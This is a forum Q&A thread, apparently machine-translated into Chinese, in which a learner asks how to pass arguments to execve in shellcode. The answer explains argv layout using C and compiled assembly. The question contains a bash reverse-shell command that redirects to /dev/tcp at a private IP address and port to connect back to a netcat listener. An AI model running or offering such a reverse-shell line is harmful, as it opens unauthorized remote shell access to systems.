2013-04-18 19 views
2

我正在学习汇编和编写shellcode。我有一个关于execve的问题,并将参数传递给它将执行的程序。将参数传递给shellcode中的execve程序

我有工作代码来执行一个bash外壳,但我不确定输入格式execve将其他参数传递给它。我可以做stdin stdout重定向吗?我想用这种类型的命令行创建一个反向tcp连接:

 
/bin/bash -i >& /dev/tcp/192.168.1.4/1234 0>&1 

参数应该用NULL分隔吗?我得到它来执行一个shell,但它没有连接回监听nc。

我知道这是这样的一个不寻常的方式,但我只是想尝试不同的东西:-)

干杯

回答

1

的最好方法知道如何做的是编写一个例子,在停止装配水平。让我们借这个例子:

#include <unistd.h> 

int 
main() 
{ 
    char *program = "/bin/ls"; 
    char *args[3] = {"/bin/ls", "-l", "./"}; 

    execv(program, args); 

    return 0; 
} 

gcc -Wall -Wextra -S -o myexec.s myexec.c编译就可以在myexec.s阅读:

 .file "myexec.c" 
     .section  .rodata 
.LC0: 
     .string "/bin/ls" 
.LC1: 
     .string "-l" 
.LC2: 
     .string "./" 
     .text 
     .globl main 
     .type main, @function 
main: 
.LFB0: 
     pushq %rbp 
     movq %rsp, %rbp 
     subq $32, %rsp 
     movq $.LC0, -8(%rbp) 
     movq $.LC0, -32(%rbp) 
     movq $.LC1, -24(%rbp) 
     movq $.LC2, -16(%rbp) 
     leaq -32(%rbp), %rdx 
     movq -8(%rbp), %rax 
     movq %rdx, %rsi 
     movq %rax, %rdi 
     call execv 
     movl $0, %eax 
     leave 
     ret 

所以,命令行参数的清单由字符串列表中,并且在第一参数是可执行文件(-8(rbp))的路径,然后通过指向其字符串的指针传递每个参数:argv[0] = -16(%rbp)argv[1] = -24(%rbp)argv[2] = -32(%rbp),...依此类推。

因此,您只需要将每个字符串的地址堆叠起来(以正确顺序),然​​后调用execv即可将其堆叠到堆栈上。

+0

谢谢队友。这有助于为我清理一些事情。我对64位不熟悉,但每个arg作为指向它的字符串的指针的概念是我不确定的(我猜每个NULL都终止了)。我会再去一次,我想我会发现重定向是否有效。 – user2296580

+0

那么我重新写它,并得到它执行,因为它应该但重定向不能按预期出于某种原因工作。我得到-i:>&:没有这样的文件或目录。 – user2296580